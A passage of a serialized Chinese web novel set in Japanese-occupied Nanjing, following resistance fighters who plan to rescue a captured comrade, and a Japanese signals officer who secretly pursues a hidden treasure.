柳兰本以为对方会老老实实听自己训斥儿子,然后安慰安慰她,这是她最希望的,没想到她的语气中竟然有责怪儿子的意思,这让她一下子有偷鸡不成蚀把米之感,于是赶紧调整思路。 “唉,其实也怪不得思冬,日本人实在太坏了,杀了我们那么多人,如果没有人站出来,鬼子总以为我们中国人好欺负!” 她的思路调整得有些大,近乎于一百八十度,池橙一下子适应不了,竟然一时想不出回答的措辞。 柳兰再接再厉,意欲夯实她的观点,“尤其是我们这些女人,尤其是在这个时候,需要多给他们一些支持的,你说是吧?” 池橙显然不是她的对手,根本跟不上她的思路。 柳兰看对方沉默不语,以为她起码是同意自己的观点,便心满意足提了提披肩的衣服,重新踏上回客厅的路途。 没想到她心想事成,一出客厅,她便听到了院子里有了脚步声,探头一看,果然是爱子曲思冬,她轻喊一声“冬儿”,便急急迎了上去。 曲思冬风尘仆仆,一脚跨进屋内,便抓起桌上的一杯水,仰头灌下肚去,从他的神态看,儿子并不快乐。 柳兰刚才的问话让池橙惊出一身冷汗,她虽然笨拙地应付过去了,但至于出了房间后,柳兰会不会和丈夫有所交流,且交流的内容是什么,这是池橙非常关心的,所以此时此刻,池橙正侧耳聆听柳兰出门后的动静,听到她的嘴里蹦出“冬儿”二字,她知道她挂念的男友回家了,再也没有了矜持,想也没想破门而出,果见曲思冬好端端地站在客厅的一张桌子前,正把一只空杯放在桌上。 这章没有结束,请点击下一页继续阅读!池橙一把拽住曲思冬的衣袖,亲热地喊了一声:“思冬!” 柳兰也有一肚子嘘寒问暖的话想对儿子说,却发现找不到合适的时机,只得挤出一丝笑容,姑且先让他俩热乎一会儿。 “事情办完了?还顺利吧?”池橙迫不及待问。 这其实也是柳兰关心的问题,而池橙替她问了,顿时没有了躁急之感,提起茶壶欲给儿子加水,发现水壶已空,于是略显不耐烦地对坐在一旁的丈夫喝道:“水壶空了,也不晓得加水,像个……死人一样。”她的口气不是很友善,主要因为中午的那场噩梦让她依旧心神不宁。 国文老师曲怀齐放下手中的一本《西游记》,把老花眼镜褪下搁在桌上,提着空壶去厨房间了。 “还好……”曲思冬热情并不高涨。 池橙显然是在想刚才其母让她心有余悸的问话,问答出现了空隙,柳兰见缝插针,“冬儿,你明天帮妈一个忙!” “妈,你说。” “我想秋儿了,你帮我去一趟利民诊所,给她捎个信,让她无论如何回家一趟,我给她擀她爱吃的荞麦面。” “好的!”曲思冬满口答应,不经意间却看到池橙在暗暗给他使眼色,心中一下子忐忑起来。 “中午可能来不及了,要不让她晚上回来一趟吧。”曲思冬一边心不在焉应付着,一边紧急地思忖着如何在这样的谈话中埋下一个伏笔,“我知道最近她挺忙的,她们的诊所刚收了不少病人。” “你见过她了?” “嗯,我今天特地去看了看她!”曲思冬开始不顾一切地撒谎。 “她还好吧?……她说起我和你爸了吗?”柳兰很想知道女儿的态度。 曲怀齐从厨房抱着水壶出来,他对她近期来在耳边喋喋不休女儿的事情深有体会,不由略带嗔怪说道:“思秋已是个大人了,她有她的事业,也有她的情感,作为母亲,你不要拖她的后腿。” 也只有儿子在场,他才能鼓起勇气说妻子两句。 “什么话!思秋还是不是你亲生的,一天到晚就知道看小说,小说能当饭吃啊?”柳兰才不管儿子在不在场,她毫不留情数落着丈夫。 每每这样的战争,曲怀齐从未胜过,这个时候,他总是摆出一副“好男不跟女斗”的姿态,今天也不例外,柳兰话音未落,曲怀齐已翻开了小说,并找到了刚刚阅读到的地方。 曲思冬心烦意乱,当即推开妹妹的房门。 池橙跟着他进屋,顾不上可能被门外的女人嘲笑,随手关上房门。 “你想说什么?”曲思冬开门见山,“你刚才使眼色是不是有话说?” 池橙牵起他的手,并把身子贴近他,接下来,她以一种倾诉秘密的方式在曲思冬的耳边呢喃轻语,以显得此次的牵手十分必要。 “你妈问起你妹了,她怀疑思秋出事了!”看到曲思冬心事重重的样子,池橙赶紧洗清自己,“我一口咬定思秋没事!我和你说得一样,说她最近很忙!” “嗯……”曲思冬挣脱了她,就要出门,他不想让父母亲对他有误解。 池橙又一把勾住他的脖子,继续问道:“你怎么能答应你妈呢?如果思秋明天回不来,你该怎么解释?” 曲思冬忽然有些莫名烦躁,掰开池橙的双臂,断然说道:“我还得出去一下!” “又出去?要不我和你一起出去?” “那怎么行?你老老实实在家里待着!” 池橙有些不高兴了,嘟哝着嘴唇,“我都待得烦死了!” 曲思冬不由想起身陷囹圄的妹妹,愈加狂躁,但理智让他冷静下来,他重新拾起池橙的手,半带哄骗地安慰道:“你不是说过从今以后听我的话吗?最近几天,你哪儿也别去,我要尽我所能救出思秋!” 池橙顿时安静了下来,用力捏了曲思冬一下,以示鼓励。 “还有,一定不能让我父母知道思秋的事情,否则,他们会疯的!” 池橙紧咬着嘴唇,如同小鸡啄米般点头。 “你打算怎么救思秋姐?” 曲思冬的眼神里游过一丝忧虑,但这浅浅的忧虑很快荡然无存,取代它的,是一种决绝的发誓:“我哪怕就是死,也要把她从日本人手中抢出来!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第204章 做贼心虚 厚重的夜色包裹着南京城,喧嚣犹如飘浮在空气中的尘埃,渐渐被积淀。 从绿柳居出来,典狱长武内上尉带着林赤上了老虎桥监狱的专车,沿着太平北路向监狱方向疾驶。在擦过“思”棺材铺的时候,一个黑影躲开刺眼的灯光,迅速隐身于街边的一堵墙后的阴影里。 汽车呼啸而过,曲思冬慢慢从墙后面现身,扭头看了一眼渐行渐远的汽车,重新走进棺材铺。 他怎么也不会想到,就在刚才,林赤与他擦肩而过。 棺材铺早已打烊,门口的那盏灯笼依旧被点着,昏黄的灯光照在他阴郁的脸上,他抬手敲门,刚敲了两下,门就露出一条缝隙,储洪义从斑驳的光影里探出脸庞,敏捷地把曲思冬拽进屋内。 “你可算来了!”他话音未落,从黑暗中一下子冒出很多人,张遥的中国话已经既流利又娴熟,“连长,你怎么这晚才回来,还吃饭啦?”他的话已带有南京口音,某种程度上,必定是受了储掌柜的影响。 “我回了一趟家,一吃完晚饭就出来了。” “怎么这么晚还出来?”储洪义问。 “心烦着呢!不想和家人待在一起!”曲思冬直言相告。 “既然回家了,嫂子还会让你出来?”有人在黑暗中怪叫,不用看,曲思冬知道那是冯勇敢的声音,他所指的“嫂子”自然是池橙。 除了陈大军,冯勇敢是唯一在他家见过池橙的人。 人群顿时炸开了,他们开始七嘴八舌议论起来,话题的核心是曲思冬找了个女朋友,居然没有通知他们。 储洪义没有理他们,拉着曲思冬径直往里走,边走边问:“老曲,这是什么时候的事?” “什么什么时候的事?”曲思冬装聋作哑。 “报告指导员,我知道!”陈大军不失时机跳了出来。 “去去,没你啥事!”曲思冬用力一推,把身旁的陈大军驱赶出去。陈大军一个踉跄,歪歪斜斜的身子立即被蜂拥而上的队员们接住,如同羊入狼群,很快被他们架到更远的地方,有人把陈大军干脆按坐在一具棺材上,缠着他非得说说曲思冬的那段艳遇史。 这帮从烽烟中回归的抗战战士,被限制在这一间昏暗的棺材铺里已有数日,不缺的是睡眠和寂寥,缺的是可以排遣和打发时间的奇闻趣事。 储洪义和曲思冬被晾在一旁,储洪义终于可以向他探听接头的情况。 “接上了吗?” ,储洪义几乎是贴在他耳边问道。 “嗯……”曲思冬招手叫来了魏瑞,三人来到里间,曲思冬正准备坐下,储洪义又迫不及待追问:“一切顺利吗?” 曲思冬点了点头,又站了起来。 “太好了,说说具体情况!” “我见到红尘茶馆的毕老板了,整个过程特别顺利……”曲思冬说到此处,不知不觉吞吞吐吐起来:“不过,我今天差点犯错……” “到底怎么回事?”储洪义略显紧张问道。 曲思冬把目光落在魏瑞的脸上,“老魏,你猜猜,我今天看到谁了?”曲思冬看到魏瑞作思索状,并不想绕弯子,直截了当说道:“秦素芬!” 这个名字在魏瑞脑海中不是很深刻,他略作思考,马上惊讶起来:“秦素芬?就是那位旅长夫人?” “是的,我看到了她和日本人在一起,和她同乘一车的是个中年男人,看架势定是她的丈夫, 71军260旅的旅长刘云雄!” “什么?你看到日本人了?快说说怎么回事?”储洪义催促着曲思冬。 曲思冬便把在茶馆门前救人后遇到鬼子盘问的一幕详细说了,储洪义听完后沉思起来,半晌抬头问道:“那刘云雄和秦素芬又是怎么回事?” 魏瑞于是又把秦素芬的刘云雄的事向储洪义一并说了。 “可是,秦素芬为何没在日本人面前举报你?”储洪义表示不解。 “这个事我想了大半天,一直没有想明白!”曲思冬耸了耸肩。 “或许是这位旅长夫人良心发现了?要不就是她对凌鼎天队长之死心有愧疚,想弥补自己的过失?”魏瑞阴阳怪气说道。 “我看其中另有隐情!”曲思冬思忖着,“只有一种解释,她举报我对她没有任何好处!” 储洪义想起一件事,不无忧虑道:“老曲,最近你还是小心一点,我们是肩负着重大任务的,遇上一些看不惯的事,还是要多隐忍!”储洪义率先坐下,曲思冬以及魏瑞也跟着坐下。 储洪义继续道:“今天入夜时刻,我看到一个奇怪的现象……”看到二人聚精会神看着自己,储洪义缓缓说道:“今天天刚黑,门前大街上有几辆日本人的车经过,还有十来辆挎斗摩托,不知何故,他们在店前停了下来,足足有一分钟时间,后来又发动开走了……我琢磨这并未一次无缘无故的泊车,或许真的与你上午的这件事有关!” “是的,我们大家在窗户里都看到了这一幕!”魏瑞边附和边频频点头,表示同意储洪义的看法。 本小章还未完,请点击下一页继续阅读后面精彩内容!曲思冬霍地站起身,毫不犹豫说道:“那这样,老魏,明天的接头你就不要参与了,本来和毕老板说好了我们三人一同前往,我和老储去就行了,你守家,让所有的队员都躺在棺材里睡觉,没事别在房间里到处晃悠!” “好的!”魏瑞正了正身子,“那你们也要多小心!” “约好了明天什么时间接头?”储洪义发问。 “下午三点,建业旅馆。” …… 黑木的一记无情的耳光让稻田彻底清醒了,跨上木屋居门前的摩托,稻田使尽全力踩踏了一下发动杆,点火后摩托发出粗笨的吼叫,开始行进在寂静的街道上,向着黄浦路方向疾驰。 一路上,稻田满脑子全是对黑木深深地怨意,尤其是他倒地后黑木又补上的一脚,让稻田感受到了莫名地羞辱。 联想到这位他情路上最大的对手,稻田打心底对黑木产生憎恶。可每每想到自己官职卑微,如同一只可怜的蚂蚁,只能任人把玩,稻田又开始自怨自艾起来。 不知不觉,车行至中山中路上,稻田鬼使神差想到了悦颜照相馆,想到了利民诊所,他立即减慢车速,扭头寻找这两家店铺的踪迹。 很快,他从右手侧的黑黝黝的店铺外在形态判断,这两家挨在一起的店铺分别是利民诊所和悦颜照相馆。 稻田下意识地松开油门,并挂上空挡,任由摩托在街上滑行。 就这样,挎斗摩托在路面上滑行了数十米,直到动力消耗殆尽,摩托徐徐停下,稻田跨下车,把摩托停靠在街边一侧。好奇心驱使他沿着一排店铺的墙根蹑手蹑脚地向着目的地潜行。 先是来到悦颜照相馆门前,稻田随手推了推店门,没有推动,他的手四处摸索,在胸脯上方他摸到了一把冰冷的铁锁。稻田略带失望,继续前往利民诊所。 此时此刻,稻田内心深处,对这家诊所的好奇心压过一切。 照相馆和诊所之间,相隔了两间空店铺,这一点稻田心中有数,他继续轻手轻脚摸向诊所,才没走几步,他忽然发现诊所里居然开着灯。 灯光被严丝合缝的大门阻隔在内,一条很小的缝隙漏出了微小的一丝光亮,就是这一丁点的亮色,竟然让稻田在这一刻激动异常。 稻田的心怦怦直跳,这种久违的做贼的感觉已经很久没有了,最近一次,还是发生在憩庐,他把那件貌似价值不菲的宝物从憩庐偷偷转移出来,埋藏在他的行李箱。更远的一次,是在他入伍前的某一天夜里,同样天黑不见五指,他偷了邻居家的一只鸡。 他不由得加快了脚步。 他的目光专注于那丝光亮。 他浑然没有发现有个物件挡在他的身前。 就在他距离那缕光亮数步之遥的地方,他突然被绊倒了。墙角的一辆自行车跟着发出哐啷的倒地声。 刹那间屋内有了动静,紧接着,稻田听到了急骤的脚步声向他逼近,一个粗重的声音从屋内传来。 “谁?” 稻田魂飞魄散,想都没想,开始不顾一切扭头就跑,直到自己精疲力竭。 来到他停车的地方,稻田一个飞跃,跳上了摩托,慌乱中第一脚居然踩空,第二脚没有踩响,直到第三脚,摩托终于发动,他猛地一加油门,摩托摇摇摆摆地驶上了路中央,像发了疯一样的向前狂奔。 隐隐约约,稻田感到诊所的那扇门洞开,有个身影在拼命追他,还好,他的每次逃遁,堪称一流。 上尉稻田勇的胆子其实很小,这一点,无须诟病,其实他只是松机关的电讯股的一名股长,他所擅长的,也仅仅是在夜深人静的时候,拿起耳麦,分辨分辨往来空中的电磁讯号罢了,冲锋陷阵对他来说,完全是个技术活,同样,对于冲锋陷阵的其他人而言,他所从事的,更是一种技术活! 这一点,稻田坚信不疑! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第205章 归建 骑在挎斗摩托上的稻田,犹如丧家之犬,把油门拧到最大,一路狂飙回到了松机关。 整个松机关,只有他的电讯股依旧亮着灯。 停好摩托,稻田惊魂未定,上楼的时候,或许因为刚刚的奔跑太过激烈,他的心还在砰砰直跳。 自从白天得到了川上的指示,电讯股的所有人员取消了休息,严密关注一切可能出现的异常情况。 整个电讯股,唯一的脱岗者只有他一人,何况他还是该部门的当家人。 在这个关键的时刻,稻田并不是不想坚守岗位,实在是他觉得当前有更紧迫的事情需要他亲自去做,且一刻也耽误不得。 在迎接中岛和岩井一行莅临松机关的仪式上,中岛毫不忌讳的一席话让他想入非非,一方面,他更加坚信自己偶获的那件宝物必定价值连城,至于到底稀缺到何种程度,他不想妄加推断;另一方面,天生谨小慎微的他最担心的就是夜长梦多,万一此物果真是奇珍异物,放在他的宿舍里那是万万不保险的,上次自从工藤夕贵动了他的箱子被他察觉后,这样的担忧与日俱增,故而,稻田最迫切想做的一件事就是需要清楚了解它的价值,至于能否找到匹配的专业人士来鉴定、从而解开他的心结,这一点稻田倒不是特别着急,反正他自认为已找到了问题的关键,那就是当务之急先把他拍摄的胶卷转化成照片。 他总不能拎着那件重达十数公斤的器物,到处乱跑? 天黑之际,黑木率着一众人赴宴去了,稻田明显快乐了起来,马上给他的同乡田中毅打了一个电话,邀他晚上小聚,酒钱他来付。 准确来讲,比他小几岁的田中毅和他从小生活在一个村子,是从小玩到大的“发小”,田中毅父母在他很小的时候就双双死了,他自小跟着奶奶长大,所以田中毅尽管长着一张娃娃脸,但很有主见,鬼点子也多。十六岁那年,他独自离开了村子,去了县城,被一家照相馆的老板看上,收他为徒。这成了田中的人生转折点。田中吃苦耐劳,加上为人活络,很快得到了老板的青睐,不但如此,老板还有意把自己的女儿许配于他。第二年开春不久,田中抽空回了村子一趟,居然还带回了一架相机,这让稻田等一帮同龄人艳羡不已。 那一次返乡,田中出尽了风头,整整花掉了两筒胶卷,都用在了给村里人拍照上,包括稻田和他的妹妹。时隔一个月后,田中给乡人送回了照片,并夸耀是他自己冲洗的。从那以后稻田便知道,田中毅不但会拍照,而且还懂得冲洗之术。 是以,稻田约见田中的真正目的,是想向他讨教照片冲洗的技术,因为,田中信誓旦旦表示过,胶卷冲洗是一件极易的事,是个人都一学就会。 当他得知悦颜照相馆因为牵涉到不久前的间谍案被查封后,稻田实在不知道南京城还有没有开门营业的照相馆,此外,由于某种原因,他无意把胶卷交由松机关的技术科处理,尽管他知道这样的举手之劳,技术科的同僚们是不会拒绝他的!鉴于此因,稻田很容易找的了解决之道,那就是求人不如求己,况且,他本意是不想求人。至于冲洗照片的器材,稻田成竹在胸,他可以随意挑选一个日子,唯一的条件是夜深人静,他完全可以利用本职工作的便利,打着值夜班的幌子,偷偷潜入技术科,花上一两个小时就可以达成目的。 稻田是一个心思缜密的人,当该念头初步形成时,他已把整个过程进行过不止一次的路演。 他多次发现技术科的房门是不上锁的,门仅仅虚掩着,即使上锁,呵呵,他也有把握用一根铁丝把它打开;松机关值夜班的那几张脸他熟得不能再熟,他对他们有过观察,应付漫漫的长夜,他们更多的是用小寐的方式…… 此时的稻田已酒意全无,他轻盈地纵身一跃,跳上了楼梯,稍作停顿,然后向上狠狠跨了一大步,这一步,竟然一下子跨过了四级台阶。 稻田很满意,刚要继续拾级而上,忽然一个念头在脑海闪过——如果它确实是一件宝物,一定要将它快速转移! 稻田暗暗下定决心。 外间的办公室空无一人,稻田来到自己的办公桌旁,首先把衣兜里一摞纸张取出,放进了抽屉里。那是田中毅教给他冲洗照片的“秘笈”,虽然他已知了大概,但还是得抽点时间好好消化消化。 接下来,稻田必须去里间的设备室转转了,毕竟离开了太久,他总得了解了解情况。 刚转身,里间的房门同时打开,监听组的负责人仓木听到外面有响动,探出了脑袋。 “仓木君,我走之后,有什么新情况吗?”稻田从容问道。 “有,股长稍等!”仓木把脑袋缩进去,显然他回去取监听记录了。很快,仓木再次出现,掩上门快步走近稻田,把手中的文件夹递给稻田。 “一共是两个不同频段的讯号,第一个是在一个小时前,是一个全新的呼号,第二个是我们的老对手,标签为南京城的一号电台,它是在第一个频号出现后不久……时间相隔二十分钟左右后开始活动的!” 这章没有结束,请点击下一页继续阅读!“是不是有关重庆方面的?” “属下也这么认为,我怀疑一号电台是在回复第一个频段。” “哦?”稻田接过监听记录,慢慢地重新坐下。他拉开抽屉,取出渡边小姐交给他的一本密码本,据渡边讲,对照这本密码,可以译出重庆方面的电文内容。 “仓木君,你回去继续工作,这份电文,我亲自来译!” …… 两辆黄包车一前一后停在建业客栈门前,从车上下来两位身穿黑色长马褂的年轻人。 曲思冬掏出钱付了两辆车的车费,四下看了一眼,带着储洪义进了建业客栈。 客栈里冷冷清清,只有掌柜一人坐在吧台里看报纸。 “住店?”掌柜是一名老者,连眼皮都懒得抬一下。 “我找毕老板。”曲思冬开门见山。 话音刚落,离吧台最近的一间客房门开了,毕老板从里面走出来,朝曲思冬使了个眼神,轻轻说了一句:“跟我来。” 站在门口警戒的储洪义赶紧把身子缩进屋内,跟着曲思冬沿着客栈过道向深处走去。 曲思冬亦步亦趋跟在毕老板身后。 客栈的最里面,是一间简易的餐厅,看得出是这家客栈的内部餐厅。毕老板一语不发,带着他们快速进了餐厅内部的操作间。 灶台边上,有一只大半人高的柜子,毕老板径直走到柜子旁,用力一推,柜子平移了一个身位,露出了一个半人多高的门洞。 “你们先进!”毕老板把身子闪到一边,让曲思冬和储洪义先行入内。 储洪义和曲思冬猫着腰钻了进去。 里面是一条两米多高、一米多宽的狭长走道,居然可以直起身子。曲思冬他们站在走道里等毕老板进来。 毕老板从里面合上柜子,手推了一下储洪义,示意他们腾出身位让自己先走。 两人跟着毕老板摸索前行,才走了十来米,毕老板停下,窸窸窣窣拨弄着什么,很快,只听到“吱嘎”一声,毕老板打开走道尽头的一扇门,耀眼的光亮倾泻进来。 出了走道,是一间接近四十方的院子,三面砌了一圈青砖围墙,一面是一间堂屋。堂屋门前是一棵两人合抱的老槐树,这个季节,它的叶子全部凋落。 老槐树的后面,是一扇连接堂屋的木门,老毕不假思索推开了它,三人鱼贯而入。 屋里点着一盏瓦数很低的白炽灯,灯光下有两名男子坐在桌子旁。看到来人,两人同时站起,主动离开座位向曲思冬二人迎来。 一位四十来岁,一位三十岁不到。 曲思冬果断地伸出右手,和四十来岁的男子紧紧相握,抑制不住激动的心情,忙不迭声说道:“镰刀同志,我们前来向您报到!” 中年男人一脸尴尬,一边忙着缩手,一边纠正道:“你们误会了,我不是镰刀!” 他身旁的青年人不失时机地前移一步,接过曲思冬僵在空中的手,用力握住,微微一笑道:“我是镰刀,他是冒大成同志。” 曲思冬迅速掩饰住内心的不安,不自然地挤出一丝笑容,呐呐道:“不好意思,我以为……” “没关系,二位请坐!”说着镰刀弯腰把桌旁的一张板凳移了出来,抬头吩咐冒大成道:“老冒,快给两位小同志倒茶!” 冒大成愉快地应了一句:“好咧!” 不但此时的曲思冬局促,就连根红苗正的储洪义也倍感拘谨,他们都没有想到,堂堂南京城的地下党负责人,竟然如此年轻。 “是不是觉得我不像是你们想象中的镰刀?”镰刀一语道破二人心中的疑惑,用一种调侃的语气继续说道:“不仅是你们二位,有时连我都觉得自己不是!” “不不,我们不是这个意思!”曲思冬极力否定。 “我知道你们的担忧,实在是这个负责人不好当啊!”镰刀从怀里掏出一盒烟,分别散给在座的每人一支,曲思冬刚想推辞,镰刀半开玩笑道:“干革命,哪有不抽烟的?”话才说完,就划着了一根火柴,把跳跃的火光递到曲思冬的面前。 曲思冬慌忙把烟塞到嘴里,伸头接住团团燃烧的火。 “组织上已把你们的事跟我说了……”镰刀不忘给自己点上烟,“实际上,你们是我争取过来的!”镰刀吸了一口烟又补充道:“带兵指挥我自忖还说的过去,可这份全新的差事于我而言,则要艰巨得多……” 曲思冬看对方侃侃而谈,完全是挥洒自如,也逐渐放松起来。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第206章 惊闻噩耗 “你们先聊,我出去看看。”毕老板朝曲思冬他们点了点头,转身出了屋子。 “谁叫曲思冬?”镰刀吸了一口烟,目光在他俩脸上扫了扫。 “报告首长,我是。”曲思冬略微提高声音道。 “嗯……还是称我镰刀吧,我们不兴作战部队那一套!” 镰刀又把脑袋转向储洪义:“那你就是储洪义喽?” “是的,镰刀同志。”储洪义反应很快,马山改了口。 “这次一共来了多少人?” “算我们在内一共八名同志。”轮到曲思冬抢答。 “哦……”镰刀一边问话,一边看了看指间的烟卷,他散出的那根烟曲思冬才抽了几口,而镰刀的那根只剩下一小截,他顺手从摆放在桌上的一盒烟中又抽出一根,将手里的烟蒂镶嵌在另一根烟上,小心翼翼地夹在指缝里,刚凑近嘴边,忽然注意到二人正瞪大着眼睛,目光跟随着他的一举一动移动着,顿时有些不自然起来,扭捏道:“让二位见笑了……” 曲思冬和储洪义慌忙异口同声地矢口否认。 “我这是在一线部队时养成的习惯,你们可能有耳闻,我党当时的条件相当艰苦,香烟对我们来说特别金贵,还经常断顿,恨不得一根掰开当两根抽!”镰刀似乎忆起了当年在白山黑水间辗转奋战的情境,不禁怔怔出起神来。 谈话中出现了短暂的沉默,这是曲思冬提问的难得时机,此时的曲思冬有很多话想说,第一是妹妹曲思秋的被捕,他太想知道组织的态度,其次就是他的“准岳父”池碧疆,当前他的处境艰难,极有可能万劫不复!从情感上来说,他更关心的是妹妹的安危,她的事情也更显迫切,可联想到她只是组织里最底层的一名发报员,或许身居高位的镰刀同志未必听说她的事情,在这样的场合提出也许不合时宜,但兄妹情深、血脉相连,于曲思冬而言,没有什么比这还重要!想到这里,曲思冬坐正身子,正视镰刀,毅然说道:“镰刀同志……” 几乎是同一时间,镰刀也开口了。 “我们有一位同志,叫曲思秋,和你是……?” “是我妹妹!”曲思冬立即振奋起来,迫不及待答道。 “原来如此,难怪你们的名字只有一字之差,当我听到她的名字时,就产生了这样的念头。” “您知道她?” 镰刀颔首,“我们是从她的上线处获知的。” “您是说池碧疆同志?” 镰刀诧异地看了曲思冬一眼,把烟卷夹在手指间,“你认识老池?” “认识他有些时日了……他目前处境不妙啊!” “嗯,我知道,他现在处于日本人的严密监视中……你说说你们怎么认识的?” “说来话长,我是因为救了他的女儿,才得以认识了他……”曲思冬简单地把和池橙相识的经过和镰刀说了。 “这么说,曲思秋同志被捕的细节你也知道了?” “我一回来就打听到了。她是为了她的男友……” “那位叫林赤的是她的男友?”镰刀好奇起来,“你和他熟吗?” “当然……我和他并肩战斗过!”曲思冬自豪地说道,紧接着也把心中的疑问陈述出来: “您也知道林赤?” “我和这位林先生见过面,他帮了我党不少忙……如果不是他,说不定现在我和他一样成为了日本人的阶下囚!”镰刀又吸了一口烟,“林先生可是个有意思的人,他的奇思妙想很多……” 他嘴角滋滋燃烧的烟头已盖过接痕,烟雾在他面庞间悠悠散开,缭绕在昏黄的光影里,透过这团升腾的烟雾,镰刀低头蹙眉,忽然沉思起来。 转眼间,镰刀嘴里的烟卷已积蓄了一段长长的烟灰,他竟忘吸了,整个人入定了一般,烟气慢慢沉淀,曲思冬突然看到他的脸色阴郁凝重。 “有一件事我必须告诉你……”镰刀抬起头,衔在嘴角的烟卷轻轻一抖,烟头上的一截烟灰陡然飘落,徐徐坠落在他脚尖处,粉身碎骨。 刹那间,曲思冬不安起来,眼睛死死盯着镰刀,期待他的下文。 “我们得到消息,此次曲思秋同志凶多吉少……” 话未说完,曲思冬霍然起立,双目圆瞪,近乎于一种斥问的语气:“谁说的?怎么可能?这是什么时候的事?”曲思冬的问题一个接一个,他的大脑片刻间一片混沌,额上的青筋暴起,整个人如同着魔一样。 “镰刀同志,你快告诉我这到底是怎么回事?!”他的声音颤抖。 “曲思冬同志,不要激动,先坐下说话!”镰刀拽了一下曲思冬的衣角,“就在今天上午,我们有位同志传来消息,鬼子本周在鼓楼广场的授勋仪式上,极有可能会举行一场惩戒活动,而思秋同志已上了他们的名单!” “消息可靠吗?”曲思冬颓然坐下,他的眼睛里布满了一层雾气,声音竟沙哑起来。 “消息不会有假,提供消息的这是我们的一名内线,他已是一名老党员了!” 本小章还未完,请点击下一页继续阅读后面精彩内容!刚坐下的曲思冬又要站起来,想了想屁股终究没能抬起,目光停在镰刀的脸上,嘴角动了动,似乎想说什么,强行忍住,但很快又动了动,这次,终于没能忍住:“镰刀同志,请原谅我的唐突,曲思秋是我的妹妹,我是她唯一的哥哥,从小到大,她是在父母和我这位哥哥的庇护下长大的,从来没有受到过一丁点的委屈,每每想到她身陷牢笼,正遭受着非人的折磨,孤立无援,叫天天不应叫地地不灵,而我这个当哥哥的,在外面活得好好的,我就心如刀绞……事情发展到这般地步,我不能眼睁睁看着她去死,这件事不管组织上怎么看待,也不管组织怎么看我,我一定要极尽所能设法救出她,即便是……以付出生命为代价,我也在所不惜!” 曲思冬态度决绝,似乎已想好了所有的措辞:“等这件事过了之后,我愿意接受组织对我的一切处分,哪怕是开除我的党籍,哪怕是……枪毙我,我也毫无怨言!” 说完这一切,曲思冬长舒一口气,这些话沉甸甸地积压在心头,让他不吐不快。 镰刀一直静静地听着曲思冬讲,过程中一直未插话,等到曲思冬说到词穷的时候,才蹦出了一句话:“你说完了吗?” “说完了!”曲思冬从对方淡漠的态度隐约感觉到自己的这番话触犯了他,心情不禁忐忑起来,但泼水难收,况且这也是他真心所想,至于后果,他曲思冬早已做好了思想准备。 “思冬,你入党的时间不长,看来你还是不了解我们共产党人!” “是的,我承认我的资历浅……”曲思冬突然赌起气来,镰刀的语气威严中带有一点苛责,显然是对他欠缺的组织纪律性有了不满,可是曲思冬已经豁出去了,他满脑子里全是有关妹妹的境遇,其它的,他无法兼顾! “我的态度非常鲜明,如果不能挽救她于水深火热,我不但对自己没法交代,对我父母没法交代,对我的列祖列宗没法交代,还会让我的灵魂一辈子背负沉重的枷锁,这一点,我做不到!绝做不到!”曲思冬有些歇斯底里。 镰刀审视着曲思冬,眉宇间有了一丝不耐烦,他果断地弹出手里的烟蒂,言辞很冷。 “思冬同志,你太急躁了,这或许是你最大的毛病……”镰刀的目光犀利,“我说过不救思秋了吗?我说过要放弃她了吗?自始至终,我甚至没有表态,你就洋洋洒洒说了一大通……”镰刀说到这儿,淡淡一笑,“思冬,你误解我党了,也误解我了……” “首长的意思是……”曲思冬精神为之一振,急切地看着镰刀。 “救!当然要救!”镰刀身子稍稍前倾,“摒弃她是你妹妹不谈,只要是我们的同志,在他们遇到困境时,我们绝不会袖手旁观!”镰刀顿了一顿,“共产主义不是冷酷无情的主义,她首先是有人性的!这样的事情我不知道其他的负责人会怎么处理,我也没有相关经验参照,但既然让我坐上了这个位置,我就有我的坚守,有我的态度!即使对手很强大,即使明知力量悬殊,哪怕是螳臂挡车,在我的字典里,没有‘畏惧’二字!” 一瞬间,曲思冬又惊又喜,竟然语无伦次起来:“谢谢组织上的决定……” “这不是组织的决定,这是我个人的决定!”镰刀把目光落在冒大成身上,“但是我会尽量说服他们,我相信他们是会同意我的做法!” 冒大成欲言又止。 镰刀又把脸转向曲思冬,“妈的巴子,我们不但要设法救出思秋,而且还要利用这个机会干一票大的!他娘的鬼子也太不把我们中国人放在眼里,不但要在光天化日之下搞授勋,还要杀鸡儆猴,小日本当我们中国人都死绝了吗?!” 曲思冬彻底兴奋起来,犹如打了鸡血一般,“镰刀同志,您说怎么干?” “当然,以卵击石的事情我们不能干,既然要干,总要干些有把握的事情,我也不能逞一时之能,拿同志们的生命去冒险!接下来怎么干,我们还要从长计议!” 镰刀说着突然想起什么,问道:“思冬,你刚才不是说从鬼子的手里救下老池的女儿,所用的是一支毛瑟98K狙击步枪,那支枪还在吗?” “我送给林赤了……”曲思冬生怕这件事动摇他的决心,连忙补充了一句:“不过不要紧,只要是步枪,其它的枪都行!” “奚政委好像说过,你的枪法很厉害?厉害到什么程度?” “也一般了……”曲思冬谦逊笑笑,“不过和林赤相比,我自愧不如……” 不知不觉,他们又聊起了林赤。曲思冬叹息道:“如果他没被抓,他一定会毅然帮忙的,只要他参与,这件事就有了八成的把握!” “他果真这么厉害?”镰刀终于开始说起这个人。 “他受伤期间,在我伯父那里养伤,用一支破枪——就是普通的中正式,一个人干掉四名鬼子!后来我们联手,又一下子干掉了九名!” “是个人才,可惜啊可惜……”镰刀忽然不说话了! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第207章 破译电文 曲思冬听出镰刀话中有话,以为他对林赤的被捕深感惋惜,便道:“是挺可惜的……”说着双眼流露出忧郁的光芒,“不知林弟能不能逃过这一劫?” “曲连长放心吧,他好着呢!”突然有个陌生的声音阴阳怪气说道。 曲思冬觉得这话有些异样,循声望去,正见冒大成大拇指和食指扶着镰刀散给他的那根烟,反复在桌上笃来笃去,烟卷撞击桌面的聒噪声尤为刺耳,曲思冬有些烦躁,直截了当问道:“老冒同志是不是知道什么?” “我能知道什么?我……只是这么一说……” 曲思冬看得出他在极力掩饰着什么, 心中不痛快,冷冷道:“看来老冒同志还是没把我当自己人,是觉得我加入组织时间太短?还是故意话说一半,吊吊我的胃口、戏耍戏耍我?” “看曲连长说的,我冒大成怎敢戏耍你?你好歹也是个少校,只是加入我们后成了一名连长,委屈你了!”冒大成不甘被曲思冬挤兑,开始反击。 